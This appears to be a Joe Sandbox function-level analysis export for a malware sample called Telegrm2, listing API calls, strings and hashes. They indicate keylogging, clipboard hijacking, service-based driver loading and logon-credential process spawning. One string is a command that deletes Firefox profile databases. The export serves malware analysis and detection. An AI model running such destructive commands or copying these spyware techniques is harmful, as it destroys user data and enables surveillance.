Part of subcall function 036348D4: GetCurrentThreadId.KERNEL32 ref: 0363492C
Part of subcall function 036348D4: SetLastError.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 03634944

RtlExitUserThread.NTDLL(?,?,?,0363302E,?,?,?,?,036330BB), ref: 03633008
_getptd.LIBCMT ref: 03633014

Part of subcall function 03634AB0: FlsGetValue.KERNEL32(?,?,00000000,03633006,?,?,?,0363302E,?,?,?,?,036330BB), ref: 03634AC9
Part of subcall function 03634AB0: FlsSetValue.KERNEL32(?,?,00000000,03633006,?,?,?,0363302E,?,?,?,?,036330BB), ref: 03634ADA
Part of subcall function 03634AB0: _freefls.LIBCMT ref: 03634AE3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Value$ErrorLastThread$CurrentExitUser_freefls_getptd
String ID:
API String ID: 1633623398-0
Opcode ID: bf781bf2921d309c26835edc8827c88a5c8edb96213ab7afd67df9b5b358be3a
Instruction ID: d53dc26b361fc678b599bb3b0a1afa08fc4eb0832cd034b7d6ba5032552ba3d4
Opcode Fuzzy Hash: bf781bf2921d309c26835edc8827c88a5c8edb96213ab7afd67df9b5b358be3a
Instruction Fuzzy Hash: 5AE08C18B0634882CE0DF7B2589972C4291DB8BB00F58987C8A0F0B341DD3884558308

Function 03621370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00000000,036228B9), ref: 036213E1
VirtualFree.KERNELBASE(?,?,00000000,036228B9), ref: 03621415

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction ID: 77a70fcf9ca773b78356f53dd6bfd865f44e8bc73233d189a5bd1681bc2ffb59
Opcode Fuzzy Hash: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction Fuzzy Hash: BF21D432B14A5087C749CB2EF540719B7A5F78AB80F14C525EB5993B18EF35D8E28B40

Function 036212B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,036227C2), ref: 03621303
VirtualFree.KERNEL32(?,?,?,036227C2), ref: 0362133C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction ID: f8a1a136c7e7a255916f33c34a21a9b5266265e1aa7b2fc4026cec2d189496e4
Opcode Fuzzy Hash: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction Fuzzy Hash: 5911C431715B8086D759CF39F54071AF7A5E786BC4F188125EA4A87B18EF39C5D2CB40

Function 0362E9AD Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 036330BC: _errno.LIBCMT ref: 036330E7
Part of subcall function 036330BC: _invalid_parameter_noinfo.LIBCMT ref: 036330F2

FindCloseChangeNotification.KERNELBASE ref: 0362E9F9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
Instruction ID: 6a92354525d84c3c3699069f3b075e221484c4391d6da5aeb183d84684dfb979
Opcode Fuzzy Hash: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
Instruction Fuzzy Hash: 52F03026B0474096CB55DBB6A4542996795F389784F44453AEE4D8B708EF39C2048704

Function 0362E8A5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 036330BC: _errno.LIBCMT ref: 036330E7
Part of subcall function 036330BC: _invalid_parameter_noinfo.LIBCMT ref: 036330F2

FindCloseChangeNotification.KERNELBASE ref: 0362E9F9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction ID: 42ba111151b27394ae1d647d555844bd89780d59383b9350af1e9c3000660507
Opcode Fuzzy Hash: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction Fuzzy Hash: B4E0C236A08B40C2CB45DBA2B40038A7365F388784F08403AFE8E47708DF39C2448B04

Function 0362E9D8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 036330BC: _errno.LIBCMT ref: 036330E7
Part of subcall function 036330BC: _invalid_parameter_noinfo.LIBCMT ref: 036330F2

FindCloseChangeNotification.KERNELBASE ref: 0362E9F9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction ID: da19315dfd23475dcf57a162665c1be10d8e1a1ea08fe1d1cf2b839c44e68d4d
Opcode Fuzzy Hash: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction Fuzzy Hash: 74D01277A14B4082D715DB61B41478A63A5F789798F444029AE8D4B718DE39C155C704

Function 0362E91F Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 036330BC: _errno.LIBCMT ref: 036330E7
Part of subcall function 036330BC: _invalid_parameter_noinfo.LIBCMT ref: 036330F2

CloseHandle.KERNEL32 ref: 0362E957

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseHandle_errno_invalid_parameter_noinfo
String ID:
API String ID: 4154143816-0
Opcode ID: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction ID: c6c03605fc1005b4d1e886293ebc8215bae19c3ab225ca059d028a8045cf70bb
Opcode Fuzzy Hash: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction Fuzzy Hash: E4F0B432A04A5486E701CB91F400396B355F384758F044036EF4D07715DB7EC245CB44

Function 0362E7A5 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0362E7B1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction ID: dd63c15818b0535474873f8c810cfb3d5420018ea601aed15fa2fa1d6cde0565
Opcode Fuzzy Hash: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction Fuzzy Hash: 27E04F23A08AD486E3428B5AE0043D5A725E384BA4F0C1062EFCD07755CEBDC0E5CB40

Non-executed Functions

Function 0362F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 036338A4: GetSystemTimeAsFileTime.KERNEL32 ref: 036338B2

Part of subcall function 03634238: _getptd.LIBCMT ref: 03634240

rand.LIBCMT ref: 0362F930

Part of subcall function 03634250: _getptd.LIBCMT ref: 03634254

OpenSCManagerA.ADVAPI32 ref: 0362F972
CreateFileA.KERNEL32 ref: 0362F9B6
CloseHandle.KERNEL32 ref: 0362F9D1
CloseServiceHandle.ADVAPI32 ref: 0362F9DA
CreateServiceA.ADVAPI32 ref: 0362FA3A
WriteFile.KERNEL32 ref: 0362FA62
DeleteService.ADVAPI32 ref: 0362FA6F
CloseServiceHandle.ADVAPI32 ref: 0362FA78

Part of subcall function 036322C0: GetComputerNameA.KERNEL32 ref: 0363230D
Part of subcall function 036322C0: lstrcpy.KERNEL32 ref: 03632323
Part of subcall function 036322C0: wsprintfA.USER32 ref: 03632352

CloseHandle.KERNEL32 ref: 0362FA81
CloseServiceHandle.ADVAPI32 ref: 0362FA8A
CloseHandle.KERNEL32 ref: 0362FA95
StartServiceA.ADVAPI32 ref: 0362FAA3
Sleep.KERNEL32 ref: 0362FAAE
DeleteService.ADVAPI32 ref: 0362FAC0
CloseServiceHandle.ADVAPI32 ref: 0362FAC9
CloseServiceHandle.ADVAPI32 ref: 0362FAD2
DeleteFileA.KERNEL32 ref: 0362FAE0

Strings

driver, xrefs: 0362FAE8
C:\ProgramData\girl.jpg, xrefs: 0362F8F1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: a107be9385c62a5b7babb882935d7447d40bd0f1bf2e036e700a274d36e5f5d9
Instruction ID: e47f1da2d4fc5c2938fcd68703871e8263c5776f3591c989b8fadc09263a0492
Opcode Fuzzy Hash: a107be9385c62a5b7babb882935d7447d40bd0f1bf2e036e700a274d36e5f5d9
Instruction Fuzzy Hash: D551AE31A18B8096EB25EF21F81435AB7A8F789F94F458125DE8E0BB64DF7EC145CB00

Function 036384A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 036384D8
_invalid_parameter_noinfo.LIBCMT ref: 036384E3
_errno.LIBCMT ref: 03638508
_errno.LIBCMT ref: 03638510
_errno.LIBCMT ref: 03638534
_errno.LIBCMT ref: 0363866F

Strings

PATH, xrefs: 03638558
del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 036384B3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction ID: 998c76f3201f2cea64f32528bee3e1de81c6ea6293f84b1ce1d769b2f0335a8d
Opcode Fuzzy Hash: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction Fuzzy Hash: DC51276930531842EF24EB3597547FE66929B83BE0F4C8629EE250BBD5DE7CC0498709

Function 0362DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0362DACD
lstrcat.KERNEL32 ref: 0362DADD
CreateMutexA.KERNEL32 ref: 0362DAEE
WaitForSingleObject.KERNEL32 ref: 0362DB06
CreateFileA.KERNEL32 ref: 0362DB34
GetFileSize.KERNEL32 ref: 0362DB42
CloseHandle.KERNEL32 ref: 0362DB4D
DeleteFileA.KERNEL32 ref: 0362DB5E
ReleaseMutex.KERNEL32 ref: 0362DB70
GetTickCount.KERNEL32 ref: 0362DC49
GetKeyState.USER32 ref: 0362DC5A

Strings

\paEqfEiINh.jre, xrefs: 0362DAD3
paEqfEiINh.jre, xrefs: 0362DAE3
<, xrefs: 0362DC14

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: 0c992726324d240eafc517e9b0e7272b964cf960c194869cca18c1b82a84fab7
Instruction ID: 9dc7162ccf286439279f3d43eeb66b5b2a5191438ecf6da2b782311ab973f0dc
Opcode Fuzzy Hash: 0c992726324d240eafc517e9b0e7272b964cf960c194869cca18c1b82a84fab7
Instruction Fuzzy Hash: DD516A71700F4196EB11DF26E89479A7B68F799B89F41C026EA5A47724CF3EC249CB00

Function 0362F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0362F3A0
GetCurrentThreadId.KERNEL32 ref: 0362F3A8
VirtualProtect.KERNEL32 ref: 0362F3CF
VirtualProtect.KERNEL32 ref: 0362F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 0362F450
VirtualProtect.KERNEL32 ref: 0362F475
VirtualProtect.KERNEL32 ref: 0362F49C
CloseHandle.KERNEL32 ref: 0362F4AC

Strings

MalseclogonDomain, xrefs: 0362F438
MalseclogonUser, xrefs: 0362F43F
C:\Users\Public\Music\Trace.exe, xrefs: 0362F41D
MalseclogonPwd, xrefs: 0362F431

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction ID: f04ba8b57d044999669d7cbc7b85d38275c83b50c404a0d076c1373f23a72efa
Opcode Fuzzy Hash: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction Fuzzy Hash: 77310932615B8AFBDB21DF21F844B9A77B8F784744F404116DB8943A24EF3AD669CB40

Function 03347E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 03347E90
_invalid_parameter_noinfo.LIBCMT ref: 03347E9B
_errno.LIBCMT ref: 03347EC0
_errno.LIBCMT ref: 03347EC8
_errno.LIBCMT ref: 03347EEC

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 11b283cb0251e4e783558d911b6fa0c05c760dc72ba31fbfed7c9ae26736a137
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: 86712C34728B095FE719FB3888D577EB2C6FFC9210F584969D096CB291DE29F8418242

Function 0362DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0362DD70: GetForegroundWindow.USER32 ref: 0362DD9F
Part of subcall function 0362DD70: GetWindowTextA.USER32 ref: 0362DDBC
Part of subcall function 0362DD70: lstrlen.KERNEL32 ref: 0362DDF5
Part of subcall function 0362DD70: GetLocalTime.KERNEL32 ref: 0362DE04
Part of subcall function 0362DD70: wsprintfA.USER32 ref: 0362DE54

GetKeyState.USER32 ref: 0362DFA5
lstrlen.KERNEL32 ref: 0362DFFE
lstrlen.KERNEL32 ref: 0362E01E
lstrlen.KERNEL32 ref: 0362E046
wsprintfA.USER32 ref: 0362E06C
wsprintfA.USER32 ref: 0362E08B
wsprintfA.USER32 ref: 0362E0BE
lstrlen.KERNEL32 ref: 0362E105

Part of subcall function 0362DCA0: WaitForSingleObject.KERNEL32 ref: 0362DCBC
Part of subcall function 0362DCA0: CreateFileA.KERNEL32 ref: 0362DCEE
Part of subcall function 0362DCA0: SetFilePointer.KERNEL32 ref: 0362DD13
Part of subcall function 0362DCA0: lstrlen.KERNEL32 ref: 0362DD1C
Part of subcall function 0362DCA0: WriteFile.KERNEL32 ref: 0362DD39
Part of subcall function 0362DCA0: CloseHandle.KERNEL32 ref: 0362DD42
Part of subcall function 0362DCA0: ReleaseMutex.KERNEL32 ref: 0362DD54

Strings

%s%s, xrefs: 0362E05F
[esc], xrefs: 0362DF06

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 4719c9bf02c38b6b97f52170febcefba9ad2cd802970c12dadb72821c2ce94db
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: C761FE31204F509AEB21CF25F9543A97BA8F304B84F5A8035EE1A5B764DF3AC296CB04

Function 03624210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 03624248
IsClipboardFormatAvailable.USER32 ref: 0362425B
GetClipboardData.USER32 ref: 0362426E
GlobalLock.KERNEL32 ref: 0362427A
GlobalAlloc.KERNEL32 ref: 036242DB
EmptyClipboard.USER32 ref: 036242E9
GlobalLock.KERNEL32 ref: 036242F6
SetClipboardData.USER32 ref: 0362432D
GlobalUnWire.KERNEL32 ref: 03624336
GlobalUnWire.KERNEL32 ref: 0362433F
CloseClipboard.USER32 ref: 03624358

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 48a74be85756515084f0c4668b80c791e635a9aaeb90b820a0f68f5588d76595
Instruction ID: 1ee97b1819feb29e028069a877cb2ab3c70ba7e0f590125d7fc4451f79d0ed1a
Opcode Fuzzy Hash: 48a74be85756515084f0c4668b80c791e635a9aaeb90b820a0f68f5588d76595
Instruction Fuzzy Hash: 5431C821604F8081EB26DB26F45436EBB64FB89BE4F484215DAAE077E4DF3EC184CB10

Function 0363A244 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0363A289
_set_error_mode.LIBCMT ref: 0363A29A
GetModuleFileNameW.KERNEL32 ref: 0363A2FC

Part of subcall function 03635664: GetCurrentProcess.KERNEL32(?,?,?,?,03635706), ref: 0363567C

GetStdHandle.KERNEL32 ref: 0363A411
WriteFile.KERNEL32 ref: 0363A46E

Strings

Runtime Error!Program: , xrefs: 0363A2C9
..., xrefs: 0363A34E
<program name unknown>, xrefs: 0363A30B
Microsoft Visual C++ Runtime Library, xrefs: 0363A3B5

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 2183313154-4022980321
Opcode ID: 12d14e25eb75a19deaccfa9068706390d48979ce007df0599346763a3732c90e
Instruction ID: 2d5ecb85a880b5ed37d86cdda6287c6c96a8ed42d07d0de9beca001ff91e2cae
Opcode Fuzzy Hash: 12d14e25eb75a19deaccfa9068706390d48979ce007df0599346763a3732c90e
Instruction Fuzzy Hash: A351362670478086EB24DB75E954B5B6354FB87B80F48822ADEDA47B54CF3EC206C708

Function 03633FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 03638BB4: _lock.LIBCMT ref: 03638BDB
Part of subcall function 03638BB4: _errno.LIBCMT ref: 03638BEF
Part of subcall function 03638BB4: _invalid_parameter_noinfo.LIBCMT ref: 03638BFB

_errno.LIBCMT ref: 0363402B
_errno.LIBCMT ref: 03634032
_errno.LIBCMT ref: 03634052

Part of subcall function 03635664: GetCurrentProcess.KERNEL32(?,?,?,?,03635706), ref: 0363567C

_errno.LIBCMT ref: 0363405B
_errno.LIBCMT ref: 03634065
_errno.LIBCMT ref: 0363406F
free.LIBCMT ref: 03634095

Strings

COMSPEC, xrefs: 03633FB9
cmd.exe, xrefs: 03634076

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction ID: 3249b95db6586c350e48b19803754e9c6dea6a0fd7e35260174414d58613929f
Opcode Fuzzy Hash: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction Fuzzy Hash: 3F21E73A704B0089EB15EFB6E5502DD77B5FB8A384B988529DB598BF14CF38C054C358

Function 033432BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 033432DE
_invalid_parameter_noinfo.LIBCMT ref: 033432EA
_errno.LIBCMT ref: 03343314
__tzset.LIBCMT ref: 03343331
_get_daylight.LIBCMT ref: 0334333A
_get_daylight.LIBCMT ref: 0334334B
_get_daylight.LIBCMT ref: 0334335C
_isindst.LIBCMT ref: 033433A0
_isindst.LIBCMT ref: 033433F0
__getgmtimebuf.LIBCMT ref: 033435EA

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: d5d95ff02a81a57b0676c10c98668c271723fe59c28868aa2a1506e59a36e653
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: EAA1A235B20A094BDB5CEF38CC993B576D5FB58216B48817EE806CB6A9EF34D4818741

Function 03633904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03633926
_invalid_parameter_noinfo.LIBCMT ref: 03633932
_errno.LIBCMT ref: 0363395C
__tzset.LIBCMT ref: 03633979
_get_daylight.LIBCMT ref: 03633982
_get_daylight.LIBCMT ref: 03633993
_get_daylight.LIBCMT ref: 036339A4
_isindst.LIBCMT ref: 036339E8
_isindst.LIBCMT ref: 03633A38
__getgmtimebuf.LIBCMT ref: 03633C32

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
Instruction ID: 8e892f4a4d6dc9ad77b40d1f8ba8ae2cede73b2289f51e60181cfe769a3a56c1
Opcode Fuzzy Hash: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
